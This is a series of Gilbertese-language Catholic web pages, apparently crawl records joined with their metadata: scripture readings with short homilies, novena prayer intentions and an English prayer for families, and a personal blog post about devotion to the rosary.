are kateaki i bukina. A bane n noria te koraki ngke e kauka te Boki, ba e bura i aoi ni nnena; ao a bane n teirake. E katituaraoa te Uea ae te Atua ae moan te maka; ao a bane te koraki n tabeki baia, ma ni kangai: \"Amen! Amen\" Ao a bobarki ma ni katorobubua i aontano n taromauria te Atua. Ao e karauakini warekaki Bokin ana Tua te Atua, ma ni kabaraki nanona; ao bane berebitero ae Etira ao Rewita ake a reireinia te koraki:\n\"Te bong aei, bon ana bong te Uea ae Atuara, tiaki te tai n nanokawaki ma n tang.\" Ba a bane n tang ngke a ongo taekan te Tua. E manga kangai Etira nakoia: \"Nako, amarake ni irikoia man aika marika, moi ninima aika karewerewe, ao kaonoia akana akea rekenibaia. Ba bon te bongi n toa aei ibukin ara Uea, ao tiaki te bongi n nanokawaki. Boni korakorani ana kabaia te Uea.\"\nAo a karauia te koraki Rewita ni kangai: \"Karauingkami, ba te bong ae tabu aei; tai nanokawaki.\" Ao a bane n nako te koraki, ao a amarake ma ni moi, ao a bati ni kimareirei; ba a bon ata nanon te taeka are e kaongoraeaki iai.\nTe Taramo 18: 8-11\nKaekana: A kakamaiu ana tua te Uea.\nKoron te raoiroi ana tua te Uea, E wanawana iai te nanoro. K\nA eti ana moti te Uea, E maiu te nano iai;\nE itiaki ana taeka te Uea, E ota iai te mata. K\nE raoiroi makakin te Uea, akea bibitakina.\nBon te koaua ana moti te Uea, A eti n tai nako.\nA kakawaki riki nakon te koora, Nakon te koora ae moan te itiaki;\nA karewerewe riki nkon te meri, Ao nakoni nnen te meri. K\nAlleluia, alleluia.\nI araningkami ba raou, ba I kaongoingkami ana taeka ni bane te Tama nakoiu. Alleluia.Euangkerio.\nWarekan ana Euangkerio Ruka: 10: 1-12\nE rineia riki ana aomata ake itingauni ma uoman te Uea. Ao E kanakoia ni kakauoman, ba a na rimoana nakoni kawa ma tabo nako ike E kan nako iai. Ao E kangai nakoia: \"E boni karuo nako te tai, ma a karako tani makuri. Ma ngaia ae kam na butia Uean te tai, ba E na kanakoia tani makuri nakon ana tai. Kam na nako buakoia kameanti. Tai ua bua ni mane, tai ua tianaki, tai ua kauniwae, ao tai kamaura temanna i nanon te kawai. Ngkana kam rin n te auti teuana, ao kam na kangai moa: \"Te raoi nakon te auti aei.\" Ao ngkana iai natin te raoi i nanona, ao e na tiku i aona ami raoi, ma ngkana tao akea, ao e na okiringkami. Kam na maeka n te auti arei, ao amarake ma ni moi ni baika a anganingkami, ba e riai n anganaki te tia makuri boon ana makuri. Tai kitana te auti teuana n nakon te auti teuana. N te kawa nako ike kam rini iai, ngkana kam akoaki iai, ao kam na kang baika uotaki nakoimi. Kamaiuia aoraki, ao kangai: 'Ti taea naba tanon ami kawa ae nimti waera, ba e na tiku iroumi. Ma kam na ataia ba e a roko Uean te Atua.' I bon tuangingkami, ba n te bongi ni motiki taeka, ao e na bebete riki aron totoma nakon te kawa anne.\"\nTibatiba: E boni karuo nako te tai, ma a karako tani makuri\nTariu ao maneu iai te taeka ae kakawaki ae aki toki n okiokiokiria Iesu ba te tai n te onaroka. Ba inanon te tai ao a kabonganaki iai ana karea te Atua ba a aonga reke taian ua aika bati ibukin neboan te Atua n ana tituaraoi ma ana akoi ae moan te bati nakoia ana botanaomata.Inanon te tai ao E kainnanoira Iesu ba ti na bane ngaira n tatabemanira ni makuri korakora n ana onaroka te Atua ba e aonga karuonako te tai ao ni kabaia te botanaomata. E kakawaki iroura tan tai ba ti na marurung ao ti na korakora ni karaoi tabera ba aonga ni bane ni kamaiuaki aomata nako. Uan ara makuri ao ara kakaonimaki bon te ua are ti na kaotia nakon Iesu ao ti na kamiauaki iai ba ti a tia ni kakaonimaki nakon te muioko are ti anganaki n ana onaroka te Atua. Inanon karaoan tabera n te onaroka ao ti na bon taonaki n te rawawata ma te tang ao te maraki ma ngkana ti a tia ni maiuakina te kakaonimaki ao ti na babati uotara aika bati man ara tai. Aio bon te bai ae kaman kabarabaraki n taian taramo are kangai; \"A na nako a nako n uniki aia kora ma te tang ao te rawawata; a oki a oki ma uotaia uanikai aika bati ma ngarengare ao te kimareirei.\nTi weteaki inanon maiura aio ba ti na makuri n tai nako n te onaroka ma te marurung ao te kakaonimaki ba ti aonga ni karekea uan ao kiwangan ara kekeiaki n rinnako n te Abanuea ae Karawa are kabaia iai inanon te mimitong ae akea tokina.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1678-e-boni-karuo-nako-te-tai-ma-a-karako-tani-makuri","date":"2021-10-17T00:25:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00477.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":982,"character_repetition_ratio":0.044,"word_repetition_ratio":0.023,"special_characters_ratio":0.237,"stopwords_ratio":0.428,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam na Mauri tariu ma maneu n ami tabo aika a kakaokoro. E rarabwa Br Ueanimatang ngkai e anganai te tibwanga aei bwa nna kaira kanoan ara raun n Novena aei.\nAe I list inano bon kanoan ara Novena nakon tinara Nei Maria ibukin te ka 11 n raun aio.\n1. Tia anga uaan ara Novena n uringia tarira ma mwanera ake iai rotakiia n te tabeaianga ma te nanokawaki. Ao riki n uringiia kain Christchurch n te tai aei, ngkai a rootaki n te kanganga imwiin te earthquake. Tina tataro bwa ana anganaki te kakorakoraaki ao ke a uringa tinaia Nei Maria inanon te tai aei ao ke e kateimatoaaki aia onimaki.\n2. Tia uringiia tarira ma mwanera ake a reirei n te tai aei, inanon aia week n beku ibukin aia assignments ke aia mid-semester exam. Tina tataro bwa ana anganaki te konamaki nakon tabeia ao te botumwaaka n aia kekeiaki ao n aki bwarannano n uringa tinaia nei Maria ao Atuaia.\n3. Tia bon reitaki riki n bubuti ibukiia kain abara ae Kiribati, n aia beku aika a tatannako. Ao riki ara tautaeka, tina tataro bwa ena kateimatoaaki nanoia ni kaira abara inanon te eti ao te riai ibukin te rau iaon abara. Tina bubuti n ara Novena aei bwa ena karikirakeaki te onimaki irouia ara tia kairiiri inanon te tangira ao te onimaki iroun Atuara ao tinara Nei Maria.\nTia uringa n nikira ueen tinara Nei Maria n ara karuaia ni bong n te aoa 5 n te bakantaai.\nAo ngkanne Nakon te ka 12 n raun ao ia bubutia tariu ae Meerita Raweaitina bwa ea kairiira.\nKam bati n rabwa ao kamna tekeraoi n ami bong nako.\nIriara ana tangira ao ana kakawakin tinara nei Maria.\nTarema Henry.\nI bukin te ka 9 n raun ao ti na anga ara Novena ke ara tataro ni bubuti nakon Nei Maria buokaia ataei n te aonaba:\nTi onimaki ba Nei Maria e tei iaan ana kabaingaki natina ae Iesu ni bubuti buokaia ATAEI aika a kabakaki iroun tinaia (abortion), ATAEI aika a kitanaki irouia aia karo (rejected), ATAEI aika bainikirinaki (physical\/sexual abused), ATAEI aika akea mwengaia (street children),\nATAEI aika a kamakuraki n aki akaka (child labour), ATAEI aika kainano (disadvantaged), ATAEI aika tabe n rikirake (Youth).\nKaake\nTe raun aei ena waaki nakon Monday, 22nd April, 2013.\nKam na mauri tariu ao mwanen inanon ana tangira te Uea, ma ana kakawakin tinara n taai nako Nei Maria.\nI bon rimoa ni kabwara bure ngkai e nang ireme aron kanakoan kanoan ara raun ae boou. E ngae n anne ao e nang kakawaki iroura bwa tina bon teimatoa n reitako ara tabera are tia tia n anga nanora nako iai.\nIbukin ngkanne kanoan ara raun aei, ao I taku bwa e bon nang kakawaki buokan ara Ekaretia ngkai bon ngaia are ti teimatoa iai man bwebwerake n tangiran tinara ae Nei Maria, are ngaia kawaira nakon Natina.\n• Ti buti ikai tinara bwa ena kakorakora ara taan kairiri nte Ekaretia, e moan ma iroun te Pope rikaaki nakoira ngaira kain te Ekaretia.\n• Ti butia Nei Maria bwa ena raonira ao man tataro naba ibukia taan kairira n ara tautaeka, riki n aba ake a bon nang bobobuaka, bwa ena butia natian otan nanona n tangira bwa ena reke irouia.\n• Ngkanne tia bon botira ikai ma tianra Nei Maria bwa ti tataro ma ngaia, ao ni butia bwa ena tataro ibukira ngaira kain ara BOTAKI AEI NGKAI TIA NANG MAMARA. TIBUTIA BWA ENA BUTIA NATINA AE IESU, NANONA ARE TE AKI BWARA N NANO.\n• Taiaoka tia bon bane ni kakorakoraira n aei.\nKam rabwa ao tekeraoi te Tataro\nMauri tariu ao mwaneu n ara botaki n tataro n Novena. E raraba Daisy ngkai e anganai ba nna kaira ara kaitiua n raun aio.\nAio ngkanne kanoan ara kaitiua n raaun n Novena nakon tinara nei Maria.\nIbukin ara karuaiwa ni bong, ti a reitaki n te aoa 5 n nikiri ara ue iroun tinara Nei Maria.\nI a butiia m'aneu ae Obora K ba e a katauraoia nakon te raun are imwina.\nKam rabwa.\nTeb'aitera Tominiko.\nAdd your main content here - text, photos, videos, addons, whatever you want!\nI am aware that i will be leading our 6th round of novena and i would\nlike to share what i have in mind or my petitions for the next round\nof our novena and i would like to thank our Brother Buutonga for\ngiving me the opportunity to lead the 5th rounds of our novena....\nI would like to dedicate the next round of novena for us to pray for\nfamilies all over the world as we are fortunate to be in this year\nwhich has been dedicated to be the year of the family.\nFocus mainly on praying for:\n- families all over the world that can pray or cannot pray together\n- families where there is lack of love\n- families that have been separated or broken down\n- families that are struggling through the hardship of life\n- families that have hidden problems that not everyone can see\n- families that have misunderstandings\n- families that do not have much catholic faith that can be instilled\nand taught to their children\n- families that are being disguised, disliked and who feel that the\nworld has turned its back on them\nAll in all, let us pray that with the help of prayer, through the\nguidance and helping hand of our Mother, and the love and fellowship\nof the holy spirit, all families are strengthened in their faith, all\nbarriers families face are broken down and all families are bound\ntogether through prayer.\nPlease include this prayer everyday of your novena so that we keep\npraying for our families and every family every new day till our ninth\nday of our 5th round of novena:\nGod of all times and places, we ask you to\nbe with us as we pray.\nFor families who struggle to speak to one\nanother in love,\nFor families who delight in being together,\nFor families who want to live with less in\norder that others might have more,\nFor families who do not have enough, and\nstruggle for the necessities of life,\nFor families who read your word together,\nFor families who find it hard to spend any\ntime together,\nFor my family,\nFor the families in my community,\nFor the families in our parish,\nFor the families around the world,\nFor all families, we pray that you love will\ngrow in them so that your love will shine\nthrough them.\nWe ask this through Christ our Lord.\nAmen.\nAnd on the final day of our novena, i would like all of us members to\nmake time to attend one mass purposefully dedicated for our families\nand all families all over the world to live a more prayerful life and\nstrong faith to be passed down to children so that they in turn grow\nup to be faithful catholics who will live according to the Catholic\nfaith.\nWe shall stick to the 5pm time for delivering our roses and flowers to\nour Mother Mary.\nAnd may I please recommend that our Brother Tebwaitera from the PRS to\nlead our next round (6th) of novena.\nFinally, may we all have a rewarding, strenghtening and nourishing\nnovena and may the Lord's face keep smiling down on us always.......\n--\nD.KorinaAdd your main content here - text, photos, videos, addons, whatever you want!\nTariu ao maneu iroun Tinara Nei Maria ae tinan te Atua mauri inanon ana tangira te uea!\nE raba ngkai I a manga anganaki ba n na waakina aron kairan ara novena ibukin te tai aei. I kukurei ngkanne ni katanoana ikai ao riki ni bubuti ba ti a taiaoka n anga uaan ara novena aei moa ibukin TAMARA TE POPE n ana waaki ni bane … riki ni kaineti ma te kanganga n sexual abuses irouia taama tabeman. Irarikin anne ao tia karabwa naba te uea rinanon tinara ae Nei Maria ibukin abara ae ti nang manga kauringa naba inaomatana inanon boongi rake aikai. E bia riki naba ara novena aei ba ara reitaki ni kukurei naba n te Turai aei ngaira aika tari ao mwane iroun Tinara ae Tinan te Atua.\nIbukin ara kainin ao I a bubuti ngkai bon te tabati te bong anne ba tia kaitibo n te aoa 3pm n te tabo are ko bon taku ke ni mena iai ma ti riai ni mena iaan te kaibangaki. Uotara te uee n te tai anne ao ti a katikua naba imatan te kaibangaki. Bon raora Tinara n te tai anne iaan te kaibangaki. Ngkana akea ara kaibangaki ae bubura n ara auti ao ti kona ni karekea rokora n te umantabu ngkana e riai. Irarikin anne ao e bane ni iai ara kaibangaki n ara korona ao ti kona naba n anga ara ue nakoina ngkana akea ara kaibangai ae bubura. Ti anga ara tutia ni katituaraoi n te tabati anne ibukin n te Kiribati ae b'anin.\nI bubuti naba ba e a taiaoka naba ni kakatauraoia manera ao tarira ae Nei Daisy Korina (usp – Suva) ba e na manga kaira ara novena are imwina. Iai tataro ni kairi iango nakon ara novena aei ao I bubuti ba ti bia warekia imwain ara korona (ke imwain warekan naba bongin te novena) ao man karikia ba kairan ara iango inanon bongin ara novena n te bong teuana ma teuana.\nBongi 1: Tinan te Atua, I anganiko ngai n te bong aei. • I tauraoi ke ko aki, aio ngai b'ainai.\nBongi 2: Tinan te Atua, I kan toronaki ma ngkoe iroun natim n te bong aei. • ana toro te uea ngai ae I mangori.\nBongi 3: Tinan te Atua, I anganiko waeu n te bong aei • ba n na irira naba natim inanon kawain te kawario ao n tei irarikim iaan ana kaibangaki natim.\nBong 4: Tinan Te Atua, I anganiko matau n te bong aei • ba ko na taratara iai ba I aonga n nora kanuangan am kakaonimaki are bon te kabaia ma te mimitong are karawa ae ko mena iai ngkai. Ao I aonga naba ni katongnga ao man roko iai n tokin au borau.\nBong 5: Tinan Te Atua, I anganiko wiiu n te bong aei • ba n na kaota ao man anenea am katituaraoi ma am tangira nakon te Atua n te kuna ae e boou ae moan te tamaroa.\nBong 6: Tinan Te Atua, I anganiko nanou n te bong aei • ba e aonga n reke te tangira are n na kinaki iai ba ana reirei natim ao man reita am tangira ma ana tangira natim inanon au kekeiaki n tangiriia aomata ni kabaneaia.\nBong 7: Tinan Te Atua, I anganiko baiu n te bong aei • baiu are I bubutimwaea iai Iesu n te Komunio ba ko na bainna n te aro are n na tau ao ni kona ni uouotia ngaia ae te B'AA AE BON KRISTO ni kamooia iai Itamaria ake a taka ao n riki ba ai aron Moote naba n te rereua. A bia baiu aikai n aki taua te kairereba ao man ewara rarikin Iesu n ai aron te tautia.\nBong 8: Tinan Te Atua, I anganiko tamneiu n te bong aei • ba ko na tataro inanou ba e aonga n reke te ota te rau ma te maiu – tiaki n aron are e anga aonteaba. I bia riki ba te tia uota ana raoi natim nakoia ake I boo ma ngaia n te bong aei.\nBong 9: Tinan Te Atua, I angniko au bubuti aikai • ibukin te Pope • ibukiia moa taan bure n te aonnaba • Tamnei aika a bae n te burikatorio • Aomata ni kabane (ani bon kawenei ngkanne ami bubuti imatan Nei Maria ma te onimaki ba e tabeki ibukira nakon natina ae te Atua ao a na bon kaekaki n te tai ao n te aro are e riai irouna) Kam bati n raba tariu ao maneu ao e rabwa te uea n ana tangira ao tinara Nei Maria n ana tataro ibukira ni bane. E raba ao tekeraoi ni kabane Tarimi ao manemi:\nBuutonga Nakuau","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/theotokoscommunity.webs.com\/prayerfornovenarounds.htm","date":"2021-10-26T04:55:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587799.46\/warc\/CC-MAIN-20211026042101-20211026072101-00091.warc.gz","language":"gil","language_score":0.9999787807,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.99997878074646}","num_words":2001,"character_repetition_ratio":0.058,"word_repetition_ratio":0.002,"special_characters_ratio":0.22,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Posted by Maria Tominiko Bokai on August 18, 2010 at 5:50 PM||comments (0)|\nMauri,\nN te bong ae 13 n te namakaina aio ao e karaoaki te tataro ma te korona ni kauringan kaotin Nei Maria i Fatima. E bon karaoaki te botaki n tataro aio n Sukuna Park. A maiti ake a roko n ira te ta kauring aio ba Taama, Tiina, Taari ao ai kain te Aro i aon Suva. Bon iai naba te kaotioti are a karaoia kain te parish ae Sacred Heart Cathedral.\n|Posted by Maria Tominiko Bokai on August 18, 2010 at 5:48 PM||comments (0)|\nKam na bane moa ni Mauri tariu ao mwaneu n ana tangira Te Uea ao ana akoi tinara ae Nei Maria.\nI a bon rimoa ni karabwai ngkamii nako n tatabemanii ngkamii ibukin ami tataro are bon roota tamau. Ni wiiki aika a nako ao I bon mena n au office ngke e a tii roko naba te news through google talk mai Kiribati bwa tamau e a rangi n aoraki ao e a kainanoia natina irarikina ao riki ngai are I a bon rangi n raroa nako mairouiia au utu. E taonai te rawawa n te tai naba arei ma iriana ranin matau aika waanako bwa antai ae nang tang nakoina. E motirawa tinau last year around this time on the 28th September.\nI taratara nako bwa tera ae nna karaoia ao I a uringa naba ae iai ngkoa te website ae sent nakoiu Maria Tominiko ae I taku bwa e irekereke ma te tataro ae te korona. I aki tabwara I kakaea Maria ao ngke reke irou ao I a bon bubutia naba bwa e na bubutii nakon ami group aio buokan tamau. I tang ao I rangi n rawawata n te tai are I maroro iai ma Maria ma imwiin au tataro ma Maria iaon te line ao e reke te rau n nano teutana irou. Aio are I a bon nora naba iai korakoran te tataro ae te korona.\nAu kakaitau riki nakoimii ni kabane ibukin am tataro ibukin tamau bwa ngkai e bon aoraki naba ma his health is stable ao ngkai I a bon tiku ikai i Sydney ni bon taningaa au tai n oki are 31st of this month. E mwakuri ami korona ao Nei Maria bon ngaia tinara ae aki konaa ni katiba nakoira. E rangi n rarabwa ami group n tataro aio ao bon au bubutii bwa kam na bon uringa naba tamau n ami tataro riki n ami tai n Novena.\nKam tetekeraoi n ami tabo nako ma ami waaki nako ao Te Atua iaou ma ngkamii.\nwith love & prayers,\nmt\n|Posted by Maria Tominiko Bokai on July 1, 2010 at 4:54 AM||comments (0)|\nMauri riki tariu ao mwaneu n ara mwaneaba ae te theotokos\nI kukurei n tibwa te news nakoimi n aron au title ane e oti ieta anne.E a bwabwaki te karaki ma n na kataia ni kauarerekea.\nI kawairake inanon te korona iroun tibu ae Nei Tetaake ma ngke i primary, secondary and until are I a roko iai n te University i Suva 1994 (USP) ike e a toki naba ngke e a mate 1995. Despite that, praying the rosary continued on with our families espercially my father are kanga e a bon riki bwa ana walkietalkie nakon tinana ae Nei Maria. Inanon au kauarinan i Tabwiroa ao i Taborio bon ti au botaki ae mamaten nanou bon te tanga ike e a karekeai iai bwa n na president ao man kairiia ataein nakon te tanga n ua ae i kitana Taborio ao man raai nakon KGV and EBS 1992 (Form 6 Arts). That time I still prayed te korona ma akea raoi te real devotion nako iai ma I karaoia bwa I bon kan karaoia ao ngkana I aki bwa I a taningaroti ao I aki naba. That sorts of feeling was ongoing until I reached Suva 2009 ike i a bon mamara ao man aki kina te korona naba teutana n ua ae e bon kaan bane te first semester. Ngkana i tara te continuum ibukin maanin au tai ni korona since those years ao e bon karako ma i ti use ngkana iai te bwai ae i desperate iai, ao ngkana e aki kaekaaki ao e reke bwa unu and made me bwa n na aki korona. Ma ngkana e a manga reke ao I a manga kukurei. Are bon aomata ngaira are ti tangira kabwaiara bwa e na reke always.\nThe most precious and fabulous moment that always vivid ike e kaokai nakon te korona are I a nora riki tamaroana ao arona bwa e kanga ni karaoaki n the 7th of August Friday early in the morning 2009. Anne raoi te first miracle are e a kaokai rikaaki ao man tara arou ngke i reke nakon te kauarinan n ua ae i a manga roko kaua i Biti ikai. E uotai nakon te feelings aika a kakaokoro, bwa I nanokawaki, guilty, proud, bakaine, selfish, etc. N te tai raoi anne ao I nako ni kaboa Nei Maria among te Indian deities n teuana te Chinese shop irarikin te fish market. Au namakin ngke I kabooa I nanoangaia bwa e aki kabonganaki ao e a tiku n raea n aki akaka. I ueena n te following day and what happened our house was captured with the scent of something...not the smell of the flower or the spray..or the oil ...none of those. But it was the smell of the rosary beeds which I bought 5 hours later before I carried on my 6th day of Novena exactly at 2 oclock sharp.All To recall my feelings; amazed, delighted and eagered to tell my husband to smell my palm where I hold the just bought rosary. From that time onwards, I started to fall in love with praying the rosary by realising that praying the rosary is the most interesting prayer when applied the methods that I had seen while attending mass and while praying the rosary. Bwa te bwai are i rangi ni mataai iai bwa ngkana ko korona ao ikanne ko a bon nora raoi aron kakawakin Iesu ao man nora aron mimitongina ma ana akoi ao ana mannano nakon tinana ae Nei Maria ike e a bon tatauraoi naba n ongongo te bubuti are e uotia Nei Maria nakoina.\nAikai ngkanne bwaai ake irou I taku bwa e rangi ni kaunga te korona ngke I apply bwaai ake I nori inanon au tai ni korona.\n1. Te korona tiaki te bwai are kanga ko a bon ti taetae naba ao man katata.. ma ngaia e na bon karauaki raoi n anaki ao man iangoaki raoi nanona. Ngkana I roko n te part are Ae uaan biritom ae Iesu ao ikanne I a tibwa ataia bwa ngaia n na riai ni bobaraaki bwa I karinea Iesu are inanon te birito n te tai anne. Au kabotau iai kanga aekakiia kain te Karetimatic are ngkana a nebonebo ao anaia ma angin nanoia ao a takarua ao a kona n tang iai.. ao anne irou ai bon aron naba te korona are ko bon anaia ma angin nanom, ike ko a bon baebaeti iai ao man kan takarua n tang bwa e a bon nako ma angin nanom..ao riki ngkana te part are Uaan biritom ae Iesu ike ko bon bobaraki iai...irou iaaki kona n tuangngko bwa tera? ane ko na tang, ko na kakaii, ao tera riki. Are nanona irou bwa Kona Mauri Maria n ua Uaan biritom ae Iesu anne are bon am bwaebwaeti ngkoe bwa ko kakatia nakon Nei Maria ao man mataiakina ana kakabwaia te Atua nakoina. Ao Santa Maria n ua tain matera...anne are ko a bubuti iai buokam bwa ko mamara ao ko kan buokaki. Man kabonganan bwaai aikanne are I anaia ma angin nanou ao I bobaraaki ao I a nora raoi mimitongin te korona bwa ngaia e a bon toka raoi ana bau Nei Maria te rose ae ranearanea ao man matangare. Ao tiaki ti anne bwa ngaia bon raom Nei Maria bwa ngke ko waaki ni korona ao ngaia e arori bwaina nakon natina ao man karokoi ni kabane ara bubuti.\n2. E kaotaai naba aron kanoan taian miterio n aron\na)Te miterio ni Kimareirei ae au favourite in times of hard lives or te tabe are N nang tauraoi n outia n te tai anne, bwa ngaia te FREEDOM. Aio are e bon babaeta iai nanona Nei Maria bwa e aki rotaki n taian waaki n aomata n ana tai bwa ngke tibwangana are mai iroun te Atua ao ai bon ngaia naba n akea te nanoua ao te tanrikaaki n tara te katei n aomata ao n aonteaba. Irou au kabwarabwara iai bwa FREEDOM ko a bon riki raoi bwa ana SLAVE ngkoe te Atua ma tiaki te Servants.Tabeaiangam ma rarawatam tiaki tabem anne bwa boni Ngaia ma ti karaoa te tibwanga are ko mena inanona either mai iroum am tia reirei, or am utu ke mwengam ke tera riki, ma karaoia nakon am best bwa anne kaotan te Freedom.\nb) Te maraki ngkanne au favourite ngkana I a manga rangi ni mwaninga nako ma to be honest aio kanga I rarawa ni kabongana bwa i rorotaki iai ao man nanokawaki iai. Tao ibukin ae I ririba te nanokawaki. Are bon te aomata ngai ike i bon rinorino ma nanou..ma ireireiaki iai bwa e a kaawa Iesu ngkana I a bon aki kubaria riki n te mwakuri aika a bon aki riai..I mean sins ake kanga kaineti ma te moral. Anne tarana irou. I arana ngkanne te miterio ni maraki bwa au bwai ni kaioki ma Atuau bwa are kanga e bon kakamaeku te bae te rekenako aio kee ma ti rawata iai.\nc) Te Mimitong ngkanne au favourite ngkana te baere e a roko te nano ni kairiribai riki n ana waaki te riaboro iaon te aba riki n te part are waeraken Nei Maria nako karawa bwa irou kabwarana e a bon aki kona moan ana waaki te Atua bwa e bwaka te ota ao uki karawa ao raakon ao a mwaiti riki. Anne au kabwarabwara iai. I arana ngkanne aio bwa au bwai ni buaka\nd) Te miterio n ota ngkanne au favourite ngkana I aki manga tututia n te bong teuana ao teuana bwa e kakauringaai iai taekan te tutia riki n te part are moan katean te ukari n te kaabong tabu. I arana ngkanne aio bwa e tataningaai Iesu n taai nako n te Ukari from Monday to Sunday ike e a kua n tataninga ao ngaira are ti bon raebeia nako.\nNgkana I a okiti otau aikanne that is FREEDOM..KAI OOKI MA ATUAU...TE BUAKA...AO E TATANINGAAI IESU ngaia bon bwenakiu ni borau inanon te maiu aio ngai are I kekeiaki ni kamoani bwaia Atuau inanon au tai ni waaki n taai nako. That is why irou te korona e rangi ni best bwa e na riai n reke bwa iriau n taai nako. I bon ngae ni bwaka man mwaninga nako ma te korona I ataia bwa n na riai n aki kakabwaka n taai nako bwa irou ngkana akea ao ngai I a taku bwa akea mwiiu..kanga I a rawa ni kairaki irouia au karo ma tinau ke n itera riki aika a kakaokoro. Riki n tarakiin are i abuse te freedom, bwa once i abuse that freedom ao bwaai akana a bold aikanne a na aki bane n nakoraoi. Ma antai ae e na kaokiko bon ti te korona bwa e na tuangngo arom n use raoi te freedom anne bwa tera kanoana... te mwaninganako ko na riai n iooki ma atuam, n am tai ni kataki...ko na riai ni buaka...ao antai raom ni buaka ngaia bon Iesu bwa e a kaman tataningaiko n te ukari bwa ngaia ae e na buokiko n tamneina ae e raoiroi from monday to sunday.\nTi ngaia moa anne ae I kona n share ao tao I a manga reitia imwiina riki ngkanne n te itera are e kanga naba n rio bwa N na kakaiia kain au group ni korona.\nKam rarabwa ao anne moa au news are e tauraoi nanou n share nakoimi n te tai aio moa\nGod bless You All.\nmtbokai","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/theotokoscommunity.webs.com\/apps\/blog\/","date":"2021-10-26T04:40:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587799.46\/warc\/CC-MAIN-20211026042101-20211026072101-00226.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":2025,"character_repetition_ratio":0.038,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.36,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 26 Kanimabong St Teretia ni Iesu Te TEI\nWarekan ana Boki te burabeti ae Itaia. 66: 10-14\nKam na kukurei ma Ierutarem, kimareirei irouna, ngkami nako aika kam tangiria. Kam na raonna ni kabaiana, ngkami nako ake kam tanginiweneia. Ba kam aonga ni kamammaaki ma n rauaki ni mammana ae kabebete nano, kam na mamma ma te kukurei ni mammana ae katoki nano.\nBa E kangai te Uea: Noria, N na karaangaa te raoi nakoina n ai aron te karanga, ao kakanatoia botanaomata n ai aron te karanga, ao kakanatoia botanaomata n ai aron te karanga ae taonako. Kam na kamammaaki, kam na rarikinaki, kam na babakoaki i aoni bubuaniwae. N na kabebetei nanomi, n ai aron ane kabebeteaki iroun tinana. Kam na nora anne, ao a na kabaia nanomi, ao a na manga maiureirei rabatami n ai aron te uteute, ao e na namakinaki bain te Uea irouia ana toro.\nTe Taramo 15: 1-2, 5, 7-8, 11\nKaekana: Tibangau Ngkoe, te Uea.\nAtuau, kawakinai, katanau Ngkoe, I kangai nakon te Uea: \"Au Uea Ngkoe.\"\nBoni Ngkoe tibangau ma au mangko, Boni Ngkoe ae ko kawakina tibau. K\nI karaoiroa te Uea ae buoka au iango, E reireiai oin nanou ni bong.\nI kawakina taran te Uea n tai nako; Ngkai bon raou, ao N na aki baka. K\nReireiai kawain te maiu; E kororaoi te kabaia i matam,\nAkea tokin te kimareirei i rarikim. K\nWarekan ana Reta Bauro nakoia I Roma. 8: 14-17\nAkana kairaki iroun Tamnein te Atua, ao bon natin te Atua. Kam aki anganai te nano n toro, ae kam na tiku iai i nanon te maku; ma kam anganaki te nano n nati, ba te natinaki ae ti kangai iai: \"Abba! Te Tama!\" Bon te Tamnei raon tamneira, ni kakoauaira ba natin te Atua naba, ba tan ababa iroun te Atua, ao raoni Kristo n ababa, ngkai ti maraki ma Ngaia ba ti na neboaki ma ngaia.\nAlleluia, alleluia.\nKo karaoiroaki, te Tama Ae Ueani karawa ma aonaba, Ba ko kaoti miterion te Abanuea nakoia aika uarereke. Alleluia\nEuangkerio.\nWarekan ana Euangkerio Mataio 18: 1-4\nA kawara Iesu ana reirei, ao a titirakinna ni kangai: \"Antai ae ko taku ba e kakanato riki n te Abanuea ae karawa?\" E wetea temanna te ataei ae uarereke Iesu, ao E kateia i mataia, ao E taku: \"I tuangi ngkami te koaua: ngkana kam aki okiri aroia ataei, ao kam aki kona n rin n te Abanuea ae karawa. Ma ane kauarerekea n ai aron te ataei ae uarereke aei, ao boni ngaia ae kakannato riki n te Abanuea ae karawa.\"\nTibatiba: Antai ae na rin n te Abanuea ae Karawa?\nTariu ao maneu aei teuana te bong ae kakawaki iroura ae e moanaki iai Okitoba are bon ataaki n arana ae ana namakaina Nei Maria. Bon te tai ae ti na manga kabouai iai ara tangira ao ara reitaki ma Nei Maria n aron are E anganira Tinana Iesi imain matena ngke E tine iaon te kaibangaki. Ti riai n karaua ni kaotaira n ana kantaninga Iesu ba tera raoi bukina ngke E kaburea tinana ngkoira Iesu imain are a nang bane bai nako ni karaoaki ibukin kamaiuara ao imain motin ikena. Eng ngke nang bon bane n tia bai nako ni karaoaki ao e ataia ba ibukin kamatoan te kamaiuaki are nang reke iroura ao E ataia Iesu ba ti kainanoa ana buoka tinana ao tinara ae Nei Maria ba e na kawakinira ao e na katanira mairoun teuare buakaka ba ti aonga ni bane ni kamaiuaki. Inanon naba te tai aio ngke e taetae Iesu nakon te abotoro are Ioane ba e nang riki Nei maria ba tinana ao ti ataia ba imuin arei ao Ioane e karekea nnen Nei Maria inanon ana auti ke e kamaeka Nei Maria irarikina. Are nanona ba Ioane e karika Nei Maria ba tinana ni koaua ao e kamaeka Nei Maria n ana auti ba ti aonga nu buokaki ba ti na rin n te Abanuea ae Karawa man baibai irarikin Iesu iroun te Tama.\nMa n reitaki ma karakin anganakira Nei Maria iroun Natina ae Iesu ao ti ataia ba Iesu ai bon iaon 